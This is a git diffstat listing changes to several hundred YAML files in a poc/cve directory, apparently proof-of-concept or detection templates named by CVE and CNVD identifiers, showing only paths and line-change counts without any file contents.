+- poc/cve/CVE-2010-2682.yaml | 25 +- poc/cve/CVE-2010-2920.yaml | 28 +- poc/cve/CVE-2010-3203.yaml | 2 +- poc/cve/CVE-2010-4617.yaml | 10 +- poc/cve/CVE-2010-4977.yaml | 25 +- poc/cve/CVE-2010-5278.yaml | 33 +- poc/cve/CVE-2010-5286.yaml | 7 +- poc/cve/CVE-2011-1669.yaml | 26 +- poc/cve/CVE-2011-2744.yaml | 5 - poc/cve/CVE-2011-2780.yaml | 23 +- poc/cve/CVE-2011-4336.yaml | 30 +- poc/cve/CVE-2012-0896.yaml | 27 +- poc/cve/CVE-2012-0981.yaml | 26 +- poc/cve/CVE-2012-0991.yaml | 28 +- poc/cve/CVE-2012-4273.yaml | 30 +- poc/cve/CVE-2012-4547.yaml | 23 +- poc/cve/CVE-2013-3827.yaml | 29 +- poc/cve/CVE-2013-5528.yaml | 23 +- poc/cve/CVE-2013-5979.yaml | 28 +- poc/cve/CVE-2013-7240.yaml | 30 +- poc/cve/CVE-2014-1203.yaml | 22 +- poc/cve/CVE-2014-2962.yaml | 30 +- poc/cve/CVE-2014-4513.yaml | 21 +- poc/cve/CVE-2014-4539.yaml | 28 +- poc/cve/CVE-2014-4550.yaml | 31 +- poc/cve/CVE-2014-4940.yaml | 25 +- poc/cve/CVE-2014-9615.yaml | 21 +- poc/cve/CVE-2014-9617.yaml | 23 +- poc/cve/CVE-2015-0554.yaml | 25 +- poc/cve/CVE-2015-1000012.yaml | 20 +- poc/cve/CVE-2015-1503.yaml | 20 +- poc/cve/CVE-2015-1880.yaml | 43 +- poc/cve/CVE-2015-2166.yaml | 23 +- poc/cve/CVE-2015-4050.yaml | 4 +- poc/cve/CVE-2015-4666.yaml | 33 +- poc/cve/CVE-2015-4694.yaml | 35 +- poc/cve/CVE-2015-5354.yaml | 28 +- poc/cve/CVE-2015-5471.yaml | 23 +- poc/cve/CVE-2015-5688.yaml | 27 +- poc/cve/CVE-2015-7297.yaml | 42 +- poc/cve/CVE-2015-8349.yaml | 34 +- poc/cve/CVE-2016-1000131.yaml | 28 +- poc/cve/CVE-2016-1000132.yaml | 21 +- poc/cve/CVE-2016-1000138.yaml | 28 +- poc/cve/CVE-2016-1000142.yaml | 28 +- poc/cve/CVE-2016-1000155.yaml | 28 +- poc/cve/CVE-2016-10367.yaml | 25 +- poc/cve/CVE-2016-10960.yaml | 33 +- poc/cve/CVE-2016-2389.yaml | 28 +- poc/cve/CVE-2016-4975.yaml | 18 +- poc/cve/CVE-2016-8527.yaml | 33 +- poc/cve/CVE-2017-1000027.yaml | 4 + poc/cve/CVE-2017-11610.yaml | 23 +- poc/cve/CVE-2017-12542.yaml | 30 +- poc/cve/CVE-2017-12583.yaml | 21 +- poc/cve/CVE-2017-12637.yaml | 26 +- poc/cve/CVE-2017-14537.yaml | 27 +- poc/cve/CVE-2017-15944.yaml | 21 +- poc/cve/CVE-2017-18598.yaml | 72 +- poc/cve/CVE-2017-18638.yaml | 21 +- poc/cve/CVE-2017-3528.yaml | 26 +- poc/cve/CVE-2017-5521.yaml | 20 +- poc/cve/CVE-2017-5631.yaml | 26 +- poc/cve/CVE-2017-5982.yaml | 28 +- poc/cve/CVE-2017-9140.yaml | 23 +- poc/cve/CVE-2018-0101.yaml | 7 +- poc/cve/CVE-2018-1000533.yaml | 37 +- poc/cve/CVE-2018-1000856.yaml | 24 +- poc/cve/CVE-2018-10095.yaml | 33 +- poc/cve/CVE-2018-10230.yaml | 23 +- poc/cve/CVE-2018-10822.yaml | 19 +- poc/cve/CVE-2018-13380.yaml | 24 +- poc/cve/CVE-2018-14474.yaml | 30 +- poc/cve/CVE-2018-14912.yaml | 27 +- poc/cve/CVE-2018-14931.yaml | 21 +- poc/cve/CVE-2018-15535.yaml | 22 +- poc/cve/CVE-2018-16059.yaml | 29 +- poc/cve/CVE-2018-16133.yaml | 23 +- poc/cve/CVE-2018-16299.yaml | 26 +- poc/cve/CVE-2018-16670.yaml | 28 +- poc/cve/CVE-2018-17431.yaml | 25 +- poc/cve/CVE-2018-18323.yaml | 26 +- poc/cve/CVE-2018-18775.yaml | 49 +- poc/cve/CVE-2018-18925.yaml | 20 +- poc/cve/CVE-2018-19753.yaml | 17 +- poc/cve/CVE-2018-19892.yaml | 27 +- poc/cve/CVE-2018-19914.yaml | 27 +- poc/cve/CVE-2018-19915.yaml | 26 +- poc/cve/CVE-2018-20009.yaml | 26 +- poc/cve/CVE-2018-20985.yaml | 24 +- poc/cve/CVE-2018-6008.yaml | 18 +- poc/cve/CVE-2018-6605.yaml | 52 + poc/cve/CVE-2018-7251.yaml | 32 +- poc/cve/CVE-2018-7314.yaml | 43 + poc/cve/CVE-2018-7662.yaml | 19 +- poc/cve/CVE-2018-8727.yaml | 19 +- poc/cve/CVE-2018-9205.yaml | 22 +- poc/cve/CVE-2019-1010290.yaml | 25 +- poc/cve/CVE-2019-10692.yaml | 33 +- poc/cve/CVE-2019-10717.yaml | 29 +- poc/cve/CVE-2019-11869.yaml | 31 +- poc/cve/CVE-2019-12276.yaml | 82 +- poc/cve/CVE-2019-12583.yaml | 18 +- poc/cve/CVE-2019-13101.yaml | 33 +- poc/cve/CVE-2019-13396.yaml | 23 +- poc/cve/CVE-2019-14205.yaml | 79 +- poc/cve/CVE-2019-14251.yaml | 22 +- poc/cve/CVE-2019-15811.yaml | 29 +- poc/cve/CVE-2019-16332.yaml | 31 +- poc/cve/CVE-2019-16920.yaml | 61 +- poc/cve/CVE-2019-16931.yaml | 28 +- poc/cve/CVE-2019-16997.yaml | 24 +- poc/cve/CVE-2019-17444.yaml | 18 +- poc/cve/CVE-2019-18371.yaml | 20 +- poc/cve/CVE-2019-19134.yaml | 27 +- poc/cve/CVE-2019-20085.yaml | 28 +- poc/cve/CVE-2019-2616.yaml | 23 +- poc/cve/CVE-2019-7139.yaml | 70 + poc/cve/CVE-2019-7192.yaml | 91 +- poc/cve/CVE-2019-7219.yaml | 17 +- poc/cve/CVE-2019-7315.yaml | 22 +- poc/cve/CVE-2019-7481.yaml | 21 +- poc/cve/CVE-2019-7543.yaml | 28 +- poc/cve/CVE-2019-9193.yaml | 54 + poc/cve/CVE-2019-9922.yaml | 25 +- poc/cve/CVE-2020-10549.yaml | 34 +- poc/cve/CVE-2020-11110.yaml | 38 +- poc/cve/CVE-2020-12054.yaml | 90 +- poc/cve/CVE-2020-13117.yaml | 36 +- poc/cve/CVE-2020-13700.yaml | 41 +- poc/cve/CVE-2020-13945.yaml | 22 +- poc/cve/CVE-2020-14864.yaml | 35 +- poc/cve/CVE-2020-1943.yaml | 21 +- poc/cve/CVE-2020-20988.yaml | 25 +- poc/cve/CVE-2020-22208.yaml | 19 +- poc/cve/CVE-2020-24148.yaml | 20 +- poc/cve/CVE-2020-24571.yaml | 27 +- poc/cve/CVE-2020-25864.yaml | 37 +- poc/cve/CVE-2020-28351.yaml | 31 +- poc/cve/CVE-2020-28976.yaml | 42 +- poc/cve/CVE-2020-29227.yaml | 18 +- poc/cve/CVE-2020-29597.yaml | 20 +- poc/cve/CVE-2020-35234.yaml | 17 +- poc/cve/CVE-2020-35729.yaml | 45 +- poc/cve/CVE-2020-35774.yaml | 41 +- poc/cve/CVE-2020-3580.yaml | 33 +- poc/cve/CVE-2020-35847.yaml | 83 +- poc/cve/CVE-2020-35848.yaml | 39 +- poc/cve/CVE-2020-36365.yaml | 26 +- poc/cve/CVE-2020-36510.yaml | 29 +- poc/cve/CVE-2020-5775.yaml | 23 +- poc/cve/CVE-2020-6637.yaml | 107 +- poc/cve/CVE-2020-7796.yaml | 26 +- poc/cve/CVE-2020-8644.yaml | 40 +- poc/cve/CVE-2020-9490.yaml | 11 +- poc/cve/CVE-2021-20031.yaml | 27 +- poc/cve/CVE-2021-20091.yaml | 23 +- poc/cve/CVE-2021-20150.yaml | 31 +- poc/cve/CVE-2021-21307.yaml | 31 +- poc/cve/CVE-2021-21479.yaml | 19 +- poc/cve/CVE-2021-21799.yaml | 23 +- poc/cve/CVE-2021-22145.yaml | 33 +- poc/cve/CVE-2021-24146.yaml | 31 +- poc/cve/CVE-2021-24235.yaml | 36 +- poc/cve/CVE-2021-24236.yaml | 31 +- poc/cve/CVE-2021-24245.yaml | 34 +- poc/cve/CVE-2021-24275.yaml | 37 +- poc/cve/CVE-2021-24276.yaml | 34 +- poc/cve/CVE-2021-24300.yaml | 25 +- poc/cve/CVE-2021-24320.yaml | 36 +- poc/cve/CVE-2021-24342.yaml | 28 +- poc/cve/CVE-2021-24891.yaml | 44 +- poc/cve/CVE-2021-24910.yaml | 29 +- poc/cve/CVE-2021-24997.yaml | 33 +- poc/cve/CVE-2021-25033.yaml | 22 +- poc/cve/CVE-2021-25063.yaml | 31 +- poc/cve/CVE-2021-25075.yaml | 26 +- poc/cve/CVE-2021-25085.yaml | 24 +- poc/cve/CVE-2021-25112.yaml | 34 +- poc/cve/CVE-2021-25118.yaml | 35 +- poc/cve/CVE-2021-25120.yaml | 25 +- poc/cve/CVE-2021-26247.yaml | 23 +- poc/cve/CVE-2021-26475.yaml | 34 +- poc/cve/CVE-2021-27310.yaml | 22 +- poc/cve/CVE-2021-27651.yaml | 53 +- poc/cve/CVE-2021-27748.yaml | 22 +- poc/cve/CVE-2021-28918.yaml | 23 +- poc/cve/CVE-2021-29441.yaml | 23 +- poc/cve/CVE-2021-29625.yaml | 27 +- poc/cve/CVE-2021-3002.yaml | 34 +- poc/cve/CVE-2021-30497.yaml | 34 +- poc/cve/CVE-2021-31862.yaml | 21 +- poc/cve/CVE-2021-32172.yaml | 36 +- poc/cve/CVE-2021-3223.yaml | 29 +- poc/cve/CVE-2021-32305.yaml | 19 +- poc/cve/CVE-2021-32820.yaml | 51 +- poc/cve/CVE-2021-32853.yaml | 29 +- poc/cve/CVE-2021-33044.yaml | 33 +- poc/cve/CVE-2021-35323.yaml | 59 + poc/cve/CVE-2021-35336.yaml | 35 +- poc/cve/CVE-2021-36356.yaml | 31 +- poc/cve/CVE-2021-36450.yaml | 46 +- poc/cve/CVE-2021-36748.yaml | 25 +- poc/cve/CVE-2021-37416.yaml | 36 +- poc/cve/CVE-2021-37573.yaml | 34 +- poc/cve/CVE-2021-37580.yaml | 18 +- poc/cve/CVE-2021-37589.yaml | 21 +- poc/cve/CVE-2021-37833.yaml | 26 +- poc/cve/CVE-2021-37859.yaml | 5 - poc/cve/CVE-2021-38647.yaml | 18 +- poc/cve/CVE-2021-38702.yaml | 28 +- poc/cve/CVE-2021-39211.yaml | 23 +- poc/cve/CVE-2021-39312.yaml | 23 +- poc/cve/CVE-2021-39316.yaml | 20 +- poc/cve/CVE-2021-39327.yaml | 30 +- poc/cve/CVE-2021-40870.yaml | 36 +- poc/cve/CVE-2021-40978.yaml | 26 +- poc/cve/CVE-2021-41277.yaml | 32 +- poc/cve/CVE-2021-41291.yaml | 22 +- poc/cve/CVE-2021-41349.yaml | 29 +- poc/cve/CVE-2021-41569.yaml | 22 +- poc/cve/CVE-2021-41648.yaml | 29 +- poc/cve/CVE-2021-41653.yaml | 29 +- poc/cve/CVE-2021-41878.yaml | 44 +- poc/cve/CVE-2021-42551.yaml | 23 +- poc/cve/CVE-2021-43496.yaml | 19 +- poc/cve/CVE-2021-43798.yaml | 43 +- poc/cve/CVE-2021-43810.yaml | 24 +- poc/cve/CVE-2021-44077.yaml | 22 +- poc/cve/CVE-2021-44103.yaml | 14 +- poc/cve/CVE-2021-44515.yaml | 23 +- poc/cve/CVE-2021-44528.yaml | 28 +- poc/cve/CVE-2021-44848.yaml | 25 +- poc/cve/CVE-2021-45046.yaml | 39 +- poc/cve/CVE-2021-45428.yaml | 21 +- poc/cve/CVE-2021-46417.yaml | 20 +- poc/cve/CVE-2021-46424.yaml | 21 +- .../cve/CVE-2021\342\200\22320837.yaml" | 0 poc/cve/CVE-2022-0149.yaml | 27 +- poc/cve/CVE-2022-0201.yaml | 24 +- poc/cve/CVE-2022-0218.yaml | 27 +- poc/cve/CVE-2022-0288.yaml | 38 +- poc/cve/CVE-2022-0346.yaml | 61 +- poc/cve/CVE-2022-0381.yaml | 37 +- poc/cve/CVE-2022-0422.yaml | 28 +- poc/cve/CVE-2022-0543.yaml | 30 +- poc/cve/CVE-2022-0595.yaml | 24 +- poc/cve/CVE-2022-0599.yaml | 35 +- poc/cve/CVE-2022-0660.yaml | 30 +- poc/cve/CVE-2022-0666.yaml | 37 + poc/cve/CVE-2022-0692.yaml | 31 +- poc/cve/CVE-2022-0776.yaml | 24 +- poc/cve/CVE-2022-0870.yaml | 85 +- poc/cve/CVE-2022-0921.yaml | 57 + poc/cve/CVE-2022-0954.yaml | 25 +- poc/cve/CVE-2022-0963.yaml | 27 +- poc/cve/CVE-2022-1040.yaml | 21 +- poc/cve/CVE-2022-1054.yaml | 24 +- poc/cve/CVE-2022-1597.yaml | 31 +- poc/cve/CVE-2022-1598.yaml | 30 +- poc/cve/CVE-2022-1713.yaml | 19 +- poc/cve/CVE-2022-1724.yaml | 25 +- poc/cve/CVE-2022-1815.yaml | 26 +- poc/cve/CVE-2022-1906.yaml | 28 +- poc/cve/CVE-2022-1946.yaml | 29 +- poc/cve/CVE-2022-21705.yaml | 71 +- poc/cve/CVE-2022-2187.yaml | 26 +- poc/cve/CVE-2022-22954.yaml | 21 +- poc/cve/CVE-2022-22963.yaml | 27 +- poc/cve/CVE-2022-23178.yaml | 23 +- poc/cve/CVE-2022-24124.yaml | 21 +- poc/cve/CVE-2022-24856.yaml | 24 +- poc/cve/CVE-2022-2488.yaml | 23 +- poc/cve/CVE-2022-24900.yaml | 22 +- poc/cve/CVE-2022-25216.yaml | 24 +- poc/cve/CVE-2022-26134.yaml | 30 +- poc/cve/CVE-2022-26138.yaml | 28 +- poc/cve/CVE-2022-26148.yaml | 36 +- poc/cve/CVE-2022-26159.yaml | 21 +- poc/cve/CVE-2022-26233.yaml | 22 +- poc/cve/CVE-2022-26352.yaml | 23 +- poc/cve/CVE-2022-26960.yaml | 17 +- poc/cve/CVE-2022-27927.yaml | 22 +- poc/cve/CVE-2022-28080.yaml | 25 +- poc/cve/CVE-2022-28219.yaml | 30 +- poc/cve/CVE-2022-29455.yaml | 36 +- poc/cve/CVE-2022-29464.yaml | 20 +- poc/cve/CVE-2022-30073.yaml | 42 +- poc/cve/CVE-2022-30489.yaml | 24 +- poc/cve/CVE-2022-30525.yaml | 19 +- poc/cve/CVE-2022-30776.yaml | 25 +- poc/cve/CVE-2022-30777.yaml | 26 +- poc/cve/CVE-2022-31373.yaml | 24 +- poc/cve/CVE-2022-32018.yaml | 20 +- poc/cve/CVE-2022-32028.yaml | 27 +- poc/cve/CVE-2022-32444.yaml | 16 +- poc/cve/CVE-2022-33174.yaml | 24 +- poc/cve/CVE-2022-34046.yaml | 29 +- poc/cve/CVE-2022-34047.yaml | 29 +- poc/cve/CVE-2022-34048.yaml | 26 +- poc/cve/CVE-2022-34049.yaml | 23 +- poc/cve/CVE-2022-34534.yaml | 41 + poc/cve/CVE-2022-35914.yaml | 23 +- poc/cve/CVE-2022-36883.yaml | 40 +- poc/cve/CVE-2022-47501.yaml | 57 + poc/cve/CVE-2023-24044.yaml | 22 +- poc/cve/CVE-2023-2523.yaml | 89 +- poc/cve/CVE-2023-27032.yaml | 66 + poc/cve/CVE-2023-35162.yaml | 45 + poc/cve/CVE-2023-42343.yaml | 35 + poc/cve/CVE-2023-48023.yaml | 45 + poc/cve/CVE-2023-48777.yaml | 62 + poc/cve/CVE-2023-48795.yaml | 96 + poc/cve/CVE-2023-49070.yaml | 69 + ...0890-aa376aae510c39a36baec69a6468b0f5.yaml | 59 + poc/cve/CVE-2023-51467.yaml | 51 + ...5424-1e5f4c6ba714628c07cbc1e0947d1b83.yaml | 59 + ...6491-04c3f7c7456f387e308447bde0f44015.yaml | 59 + ...6876-74a1227dd83e29f4a4e31410e485e7f0.yaml | 59 + poc/cve/CVE-2023-6956.yaml | 59 + poc/cve/CVE-2023-6966.yaml | 59 + poc/cve/CVE-2023-6968.yaml | 59 + poc/cve/CVE-2024-0910.yaml | 59 + poc/cve/CVE-2024-0972.yaml | 59 + poc/cve/CVE-2024-1175.yaml | 59 + ...1689-27bd7427e9ad393d0cf747080614eaff.yaml | 59 + ...1768-65f4d08bfbdd2f0f132b1bbe800c23c9.yaml | 59 + ...1988-762c964e00ddc9f47b1625720fae377f.yaml | 59 + poc/cve/CVE-2024-2017.yaml | 59 + ...2129-67f84e116cb15b004c038b67c51f01a4.yaml | 59 + ...2253-e80d4914f56d0bcf3f9f3038bce09c0d.yaml | 59 + poc/cve/CVE-2024-2350.yaml | 59 + ...2470-24a32cbca3778e79d1961c9566fa4daf.yaml | 59 + poc/cve/CVE-2024-24919.yaml | 221 +- poc/cve/CVE-2024-25669.yaml | 53 + poc/cve/CVE-2024-27564.yaml | 41 + poc/cve/CVE-2024-2762.yaml | 59 + poc/cve/CVE-2024-2922.yaml | 59 + ...3050-bb86675d713737c48218c33c6c4f145b.yaml | 59 + poc/cve/CVE-2024-3094.yaml | 62 + poc/cve/CVE-2024-31851.yaml | 62 + ...2110-cf5679b4215ff5c6109d33ef7a9492f2.yaml | 59 + poc/cve/CVE-2024-32640.yaml | 41 + poc/cve/CVE-2024-34385.yaml | 59 + poc/cve/CVE-2024-34443.yaml | 59 + poc/cve/CVE-2024-34444.yaml | 59 + ...5162-7b84498d99f2fd77a9d8c6d43951d0ba.yaml | 59 + ...5297-5b9f6a55a11468cf4b95b149858e2fea.yaml | 59 + poc/cve/CVE-2024-35629.yaml | 59 + poc/cve/CVE-2024-35630.yaml | 59 + poc/cve/CVE-2024-35631.yaml | 59 + poc/cve/CVE-2024-35632.yaml | 59 + poc/cve/CVE-2024-35633.yaml | 59 + poc/cve/CVE-2024-35634.yaml | 59 + poc/cve/CVE-2024-35635.yaml | 59 + poc/cve/CVE-2024-35636.yaml | 59 + poc/cve/CVE-2024-35637.yaml | 59 + poc/cve/CVE-2024-35638.yaml | 59 + poc/cve/CVE-2024-35639.yaml | 59 + poc/cve/CVE-2024-35640.yaml | 59 + poc/cve/CVE-2024-35641.yaml | 59 + poc/cve/CVE-2024-35642.yaml | 59 + poc/cve/CVE-2024-35643.yaml | 59 + poc/cve/CVE-2024-35644.yaml | 59 + poc/cve/CVE-2024-35645.yaml | 59 + poc/cve/CVE-2024-35646.yaml | 59 + poc/cve/CVE-2024-35647.yaml | 59 + ...5672-486db9c86df3e8118b4d673efcb7bc70.yaml | 59 + ...5673-e1796442c9c94fea31305d80d3cc86c1.yaml | 59 + ...3592-db8d56b4ffd71be1964e8f686279beb9.yaml | 59 + ...3594-36d7fb83c790460bdb8c61a1e30649d8.yaml | 59 + poc/cve/CVE-2024-36104.yaml | 3 +- ...3641-049362f736a248e461e7e2209124763e.yaml | 59 + ...3642-c5820e404ef1b131f6857331a1aaece3.yaml | 59 + ...3643-a05812857160f5eb561bf2babf725d60.yaml | 59 + ...3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml | 59 + ...3921-dbf397a500a6ba8db425a10054860f95.yaml | 59 + ...3987-d1590fd2b736d9b7169053d35fe5596a.yaml | 59 + ...4042-0b45d87b9cb46f3e57530ebae522c9d1.yaml | 59 + ...4061-7d27faa8767de65d446af82e8cb546ee.yaml | 59 + ...4180-409e69e1543a97473f3477623d0cf79d.yaml | 59 + ...4194-6d46981f4c9251d544a68553d3366c8b.yaml | 59 + poc/cve/CVE-2024-4194.yaml | 59 + poc/cve/CVE-2024-4212.yaml | 59 + ...4218-bb6f1b9667090e20283e6bf88fa3d176.yaml | 59 + ...4354-cb1abe584a99094a32454176c2da1e00.yaml | 59 + ...4355-a903f9532766751cdbee9102a282b68d.yaml | 59 + poc/cve/CVE-2024-4364.yaml | 59 + poc/cve/CVE-2024-4377.yaml | 59 + poc/cve/CVE-2024-4381.yaml | 59 + poc/cve/CVE-2024-4382.yaml | 59 + poc/cve/CVE-2024-4384.yaml | 59 + ...4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml | 59 + ...4451-d9d72de6e9feaa1de18d7e0ad9e7450e.yaml | 59 + poc/cve/CVE-2024-4458.yaml | 59 + poc/cve/CVE-2024-4459.yaml | 59 + poc/cve/CVE-2024-4474.yaml | 59 + poc/cve/CVE-2024-4475.yaml | 59 + poc/cve/CVE-2024-4477.yaml | 59 + ...4488-24850f2f46fee76a411819c82221fd52.yaml | 59 + ...4489-98f53e4ac0e0347e15b291328edd1cad.yaml | 59 + poc/cve/CVE-2024-4608.yaml | 59 + poc/cve/CVE-2024-4616.yaml | 59 + ...4703-622d2074643ca68d7c6df5fdf8e6d006.yaml | 59 + poc/cve/CVE-2024-4705.yaml | 59 + poc/cve/CVE-2024-4707.yaml | 59 + ...4757-99c61d6e5361642f2cd3220426f925ee.yaml | 59 + ...4759-3a5379366de7f552de353ab3d5098e66.yaml | 59 + poc/cve/CVE-2024-4788.yaml | 59 + ...4886-a4ca992ddae5ec5f2effe96be1a25e88.yaml | 59 + ...4887-897881ff13115f641850f92088a342ea.yaml | 59 + ...4902-1337a293cedaf997fd05c2b8ea71c553.yaml | 59 + poc/cve/CVE-2024-4942.yaml | 59 + poc/cve/CVE-2024-4969.yaml | 59 + poc/cve/CVE-2024-4970.yaml | 59 + poc/cve/CVE-2024-5001.yaml | 59 + poc/cve/CVE-2024-5038.yaml | 59 + poc/cve/CVE-2024-5141.yaml | 59 + poc/cve/CVE-2024-5152.yaml | 59 + poc/cve/CVE-2024-5153.yaml | 59 + poc/cve/CVE-2024-5161.yaml | 59 + poc/cve/CVE-2024-5162.yaml | 59 + poc/cve/CVE-2024-5179.yaml | 59 + poc/cve/CVE-2024-5188.yaml | 59 + poc/cve/CVE-2024-5221.yaml | 59 + poc/cve/CVE-2024-5224.yaml | 59 + poc/cve/CVE-2024-5259.yaml | 59 + poc/cve/CVE-2024-5324.yaml | 59 + poc/cve/CVE-2024-5329.yaml | 59 + poc/cve/CVE-2024-5342.yaml | 59 + ...5382-3f1ae151e74bf3a85689b92b47a722f8.yaml | 59 + ...5425-8573326a950aad533931811dfbdfb643.yaml | 59 + ...5426-05a62725e997584a7ca96583d0ed07b0.yaml | 59 + ...5438-1b24a267d5472a32f3c0e13b76610ec9.yaml | 59 + poc/cve/CVE-2024-5449.yaml | 59 + ...5481-444ef62c2ed9a822286b94ddae6883e0.yaml | 59 + poc/cve/CVE-2024-5489.yaml | 59 + ...5542-2c78331a027ed0b073a8bb936d867fb6.yaml | 59 + ...5599-be6fff517aec53ff23d944b44b84ccb4.yaml | 59 + ...5607-901f256125fbbba6e03f938b868f6b19.yaml | 59 + ...5612-94c0f75b45145ba79530a3cebd812f91.yaml | 59 + poc/cve/CVE-2024-5615.yaml | 59 + ...5637-52143d378292b1918b667c9107493dca.yaml | 59 + ...5640-97926cf22b75d273b8be77e89027662a.yaml | 59 + ...5645-1e0813366396dcffd446ea61fbcc4596.yaml | 59 + poc/cve/CVE-2024-5656.yaml | 59 + poc/cve/CVE-2024-5665.yaml | 59 + ...357\274\210CVE-2023-2523\357\274\211.yaml" | 75 - poc/cve/apache-tomcat-CVE-2022-34305.yaml | 21 + poc/cve/apache-tomcat-cve-2022-34305.yaml | 2 - poc/cve/cnnvd-200705-315-1035.yaml | 2 +- poc/cve/cnvd-2018-13393-1037.yaml | 6 +- poc/cve/cnvd-2018-13393-1038.yaml | 22 - poc/cve/cnvd-2018-13393-1039.yaml | 32 + poc/cve/cnvd-2019-01348-1043.yaml | 4 +- poc/cve/cnvd-2019-01348-1045.yaml | 9 +- poc/cve/cnvd-2019-06255-1046.yaml | 8 +- ...99-1052.yaml => cnvd-2019-19299-1051.yaml} | 0 poc/cve/cnvd-2019-32204-1053.yaml | 23 - poc/cve/cnvd-2019-32204-1054.yaml | 27 + poc/cve/cnvd-2020-23735-1055.yaml | 23 - poc/cve/cnvd-2020-23735-1058.yaml | 4 +- poc/cve/cnvd-2020-23735-1059.yaml | 23 + poc/cve/cnvd-2020-46552-1060.yaml | 34 + poc/cve/cnvd-2020-67113-1070.yaml | 22 +- poc/cve/cnvd-2020-67113-1072.yaml | 38 + poc/cve/cnvd-2020-68596-1074.yaml | 42 + poc/cve/cnvd-2021-01931-1077.yaml | 16 +- poc/cve/cnvd-2021-01931-1079.yaml | 33 + poc/cve/cnvd-2021-09650-1081.yaml | 12 +- poc/cve/cnvd-2021-10543-1082.yaml | 2 +- poc/cve/cnvd-2021-15822-1093.yaml | 22 - poc/cve/cnvd-2021-15822-1095.yaml | 7 +- poc/cve/cnvd-2021-15824-1096.yaml | 24 - poc/cve/cnvd-2021-15824-1097.yaml | 32 + poc/cve/cnvd-2021-17369-1101.yaml | 21 +- poc/cve/cnvd-2021-26422-1103.yaml | 11 +- poc/cve/cnvd-2021-28277-1106.yaml | 45 + poc/cve/cnvd-2021-30167-1108.yaml | 18 +- poc/cve/cnvd-2021-30167-1109.yaml | 50 - poc/cve/cnvd-2021-30167-1111.yaml | 36 + poc/cve/cnvd-2021-30167-1112.yaml | 4 +- poc/cve/cnvd-2021-49104-1114.yaml | 17 +- poc/cve/cnvd-2021-49104-1115.yaml | 11 +- poc/cve/cnvd-2022-03672-1116.yaml | 42 - poc/cve/cnvd-2022-03672-1117.yaml | 45 + poc/cve/cve-2001-1473.yaml | 34 - poc/cve/cve-2004-0519-1305.yaml | 37 + poc/cve/cve-2005-3344-1317.yaml | 31 - poc/cve/cve-2007-5728-1351.yaml | 38 - poc/cve/cve-2008-4668.yaml | 31 - poc/cve/cve-2008-6172-1387.yaml | 27 + poc/cve/cve-2008-6172.yaml | 33 + poc/cve/cve-2008-6222-1397.yaml | 26 + poc/cve/cve-2008-6222.yaml | 31 + poc/cve/cve-2009-0545.yaml | 40 - poc/cve/cve-2009-1496-1423.yaml | 36 + poc/cve/cve-2009-1496.yaml | 31 + poc/cve/cve-2009-2015-1441.yaml | 26 + poc/cve/cve-2009-2100-1446.yaml | 37 + poc/cve/cve-2009-2100.yaml | 31 + poc/cve/cve-2009-5020-1477.yaml | 27 - poc/cve/cve-2010-0467-1495.yaml | 31 + poc/cve/cve-2010-0696.yaml | 31 - poc/cve/cve-2010-0942.yaml | 29 - poc/cve/cve-2010-0943.yaml | 30 + poc/cve/cve-2010-1081.yaml | 30 - poc/cve/cve-2010-1217.yaml | 30 - poc/cve/cve-2010-1219.yaml | 30 - poc/cve/cve-2010-1305.yaml | 30 + poc/cve/cve-2010-1307.yaml | 30 + poc/cve/cve-2010-1308.yaml | 29 - poc/cve/cve-2010-1312.yaml | 30 - poc/cve/cve-2010-1314-1606.yaml | 27 + poc/cve/cve-2010-1314.yaml | 30 + poc/cve/cve-2010-1315-1610.yaml | 26 + poc/cve/cve-2010-1315.yaml | 30 + poc/cve/cve-2010-1345-1621.yaml | 27 - poc/cve/cve-2010-1352-1625.yaml | 26 + poc/cve/cve-2010-1352.yaml | 30 + poc/cve/cve-2010-1471-1655.yaml | 28 - poc/cve/cve-2010-1475.yaml | 29 - poc/cve/cve-2010-1476.yaml | 30 - poc/cve/cve-2010-1478.yaml | 31 - poc/cve/cve-2010-1491-1692.yaml | 30 + poc/cve/cve-2010-1491.yaml | 30 + poc/cve/cve-2010-1601.yaml | 30 - poc/cve/cve-2010-1607.yaml | 30 - poc/cve/cve-2010-1658.yaml | 30 - poc/cve/cve-2010-1714-1779.yaml | 30 - poc/cve/cve-2010-1715-1783.yaml | 29 + poc/cve/cve-2010-1715.yaml | 30 + poc/cve/cve-2010-1858.yaml | 30 - poc/cve/cve-2010-1875-1829.yaml | 28 + poc/cve/cve-2010-1955-1852.yaml | 30 + poc/cve/cve-2010-1980-1878.yaml | 29 + poc/cve/cve-2010-1981.yaml | 34 + poc/cve/cve-2010-1982-1886.yaml | 34 + poc/cve/cve-2010-1982.yaml | 34 + poc/cve/cve-2010-2122-1928.yaml | 32 - poc/cve/cve-2010-2680.yaml | 34 - poc/cve/cve-2010-2682-1960.yaml | 32 - poc/cve/cve-2010-2920-1983.yaml | 28 + poc/cve/cve-2010-2920.yaml | 33 + poc/cve/cve-2010-3203-1987.yaml | 34 - poc/cve/cve-2010-4617-2004.yaml | 27 - poc/cve/cve-2010-4977-2017.yaml | 32 - poc/cve/cve-2010-5278.yaml | 35 - poc/cve/cve-2010-5286-2034.yaml | 29 - poc/cve/cve-2011-1669.yaml | 34 - poc/cve/cve-2011-2744-2051.yaml | 28 - poc/cve/cve-2011-2780.yaml | 39 - poc/cve/cve-2011-5265.yaml | 48 - poc/cve/cve-2012-0896.yaml | 33 + poc/cve/cve-2012-0981.yaml | 33 + poc/cve/cve-2012-0991.yaml | 33 - poc/cve/cve-2012-2371.yaml | 50 + poc/cve/cve-2012-4273-2198.yaml | 33 - poc/cve/cve-2013-2287.yaml | 48 - poc/cve/cve-2013-5528.yaml | 33 + poc/cve/cve-2013-5979-2280.yaml | 28 + poc/cve/cve-2013-5979.yaml | 33 + poc/cve/cve-2013-7240-2290.yaml | 36 + poc/cve/cve-2013-7240.yaml | 40 + poc/cve/cve-2014-2962-2313.yaml | 25 - poc/cve/cve-2014-4513-2344.yaml | 38 - poc/cve/cve-2014-4940.yaml | 32 + poc/cve/cve-2014-9615-2446.yaml | 35 - poc/cve/cve-2014-9617-2447.yaml | 29 - poc/cve/cve-2015-0554-2456.yaml | 32 + poc/cve/cve-2015-0554.yaml | 36 + poc/cve/cve-2015-1000012-2461.yaml | 38 - poc/cve/cve-2015-1503-2471.yaml | 37 + poc/cve/cve-2015-1880-2477.yaml | 31 + poc/cve/cve-2015-2166.yaml | 33 - poc/cve/cve-2015-4050-2522.yaml | 29 - poc/cve/cve-2015-4694-2542.yaml | 19 - poc/cve/cve-2015-5688-2567.yaml | 29 + 